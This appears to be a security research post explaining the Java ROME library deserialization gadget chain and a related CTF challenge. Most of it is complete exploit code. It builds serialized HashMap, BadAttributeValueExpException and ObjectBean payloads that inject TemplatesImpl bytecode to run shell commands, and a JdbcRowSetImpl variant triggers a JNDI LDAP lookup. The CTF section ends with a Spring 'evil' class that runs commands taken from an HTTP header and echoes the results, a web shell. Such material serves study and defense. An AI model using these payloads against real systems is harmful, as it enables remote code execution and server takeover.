Rome Attack

ROME ATTACK

Introduction

Rome is a RSS reader.

1
2
3
4
5
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>

EXPLOIT

TemplateImpl#getOutputProperties

The sink point of this gadget is TemplateImpl#getOutputProperties, which is very normal.

ToStringBean#toString

Next is the key of the Rome deserialization gadget chain.

The BeanIntrospector.getPropertyDescriptors(_beanClass) extracts all the getter and setter methods from _beanClass.

And we can find that the pReadMethod.invoke really looks like the method.invoke

Besides, our TemplateImpl#getOutputProperties just meets its requirements.

We can write a demo to test this chain.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import java.lang.reflect.Field;

public class exp {
public static void main(String[] argc)throws Exception{
TemplatesImpl templates = new TemplatesImpl();
setAttribute("_name", templates, "P3ngu1nW");
setAttribute("_tfactory", templates, new TransformerFactoryImpl());
setAttribute("_bytecodes", templates, new byte[][]{getTemplateImpl("open -a calculator")});
ToStringBean toStringBean = new ToStringBean(TemplatesImpl.class, templates);
toStringBean.toString();
}
public static byte[] getTemplateImpl(String cmd)throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytecode = ctClass.toBytecode();
ctClass.defrost();
return bytecode;
}
public static void setAttribute(String fieldname, Object src, Object val)throws Exception{
Field field = src.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(src, val);
}
}

How to call the toString?

So our next question is to call the toString, but how to make it?

HashMap

This gadget chain is:

1
2
3
4
5
HashMap.readObject()
-->HashMap.hash()
-->EqualsBean.hashcode()
-->EqualsBean.beanHashCode()
-->ToStringBean.toString();

And the final EXP is

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

public class exp {
public static void main(String[] argc)throws Exception{
TemplatesImpl templates = new TemplatesImpl();
setAttribute("_name", templates, "P3ngu1nW");
setAttribute("_tfactory", templates, new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap hashMap = new HashMap<>();
hashMap.put(equalsBean, "P3ngu1nW");
setAttribute("_bytecodes",templates, new byte[][]{getTemplateImpl("open -a calculator")});

serialize(hashMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static byte[] getTemplateImpl(String cmd)throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytecode = ctClass.toBytecode();
ctClass.defrost();
return bytecode;
}
public static void setAttribute(String fieldname, Object src, Object val)throws Exception{
Field field = src.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(src, val);
}
}

BadAttributeValueExpException

1
2
3
4
5
6
7
8
9
10
11
12
public static void main(String[] argc)throws Exception{
TemplatesImpl templates = new TemplatesImpl();
setAttribute("_name", templates, "P3ngu1nW");
setAttribute("_tfactory", templates, new TransformerFactoryImpl());
setAttribute("_bytecodes",templates, new byte[][]{getTemplateImpl("open -a calculator")});
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("P3ngu1nW");
setAttribute("val", badAttributeValueExpException, toStringBean);

serialize(badAttributeValueExpException);
unserialize("ser.bin");
}

Other EXPLOIT

ObjectBean substitute EqualBean

1
2
3
4
5
6
7
8
9
10
11
12
13
public static void main(String[] argc)throws Exception{
TemplatesImpl templates = new TemplatesImpl();
setAttribute("_name", templates, "P3ngu1nW");
setAttribute("_tfactory", templates, new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
ObjectBean equalsBean = new ObjectBean(ToStringBean.class, toStringBean);
HashMap hashMap = new HashMap<>();
hashMap.put(equalsBean, "P3ngu1nW");
setAttribute("_bytecodes",templates, new byte[][]{getTemplateImpl("open -a calculator")});

serialize(hashMap);
unserialize("ser.bin");
}

JdbcRowSetImpl

There is another getter method that can be exploited in JdbcRowSetImpl#getDatabaseMetaData.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static void main(String[] argc)throws Exception{
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://127.0.0.1:8099/calc";
jdbcRowSet.setDataSourceName(url);
jdbcRowSet.setMaxFieldSize(10);
Vector<String> vector = new Vector<String>(1);
vector.add(0,"P3ngu1nW");
setAttribute("strMatchColumns", jdbcRowSet, vector);
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("P3ngu1nW");
setAttribute("val", badAttributeValueExpException, toStringBean);

serialize(badAttributeValueExpException);
unserialize("ser.bin");
}

[长城杯 2022 高校组]b4bycoffee

A really easy problem.

1
2
3
HashMap.readObject()
-->EqualsBean.hash()
-->CoffeeBean.toString()

And let’s load a malicious Spring echo class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import java.lang.reflect.Method;
import java.util.Scanner;

public class evil {
static {
try {
Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getResponse");
Method m1 = c.getMethod("getRequest");
Object resp = m.invoke(o);
Object req = m1.invoke(o); // HttpServletRequest
Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
getHeader.setAccessible(true);
getWriter.setAccessible(true);
Object writer = getWriter.invoke(resp);
String cmd = (String)getHeader.invoke(req, "cmd");
String[] commands = new String[3];
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
commands[0] = "cmd";
commands[1] = "/c";
} else {
commands[0] = "/bin/sh";
commands[1] = "-c";
}
commands[2] = cmd;
writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream()).useDelimiter("\\A").next());
writer.getClass().getDeclaredMethod("flush").invoke(writer);
writer.getClass().getDeclaredMethod("close").invoke(writer);
} catch (Exception e) {

}

}
}

Reference

https://p4d0rn.gitbook.io/java/ctf/b4bycoffee

https://drun1baby.top/2022/10/10/Java反序列化之ROME链/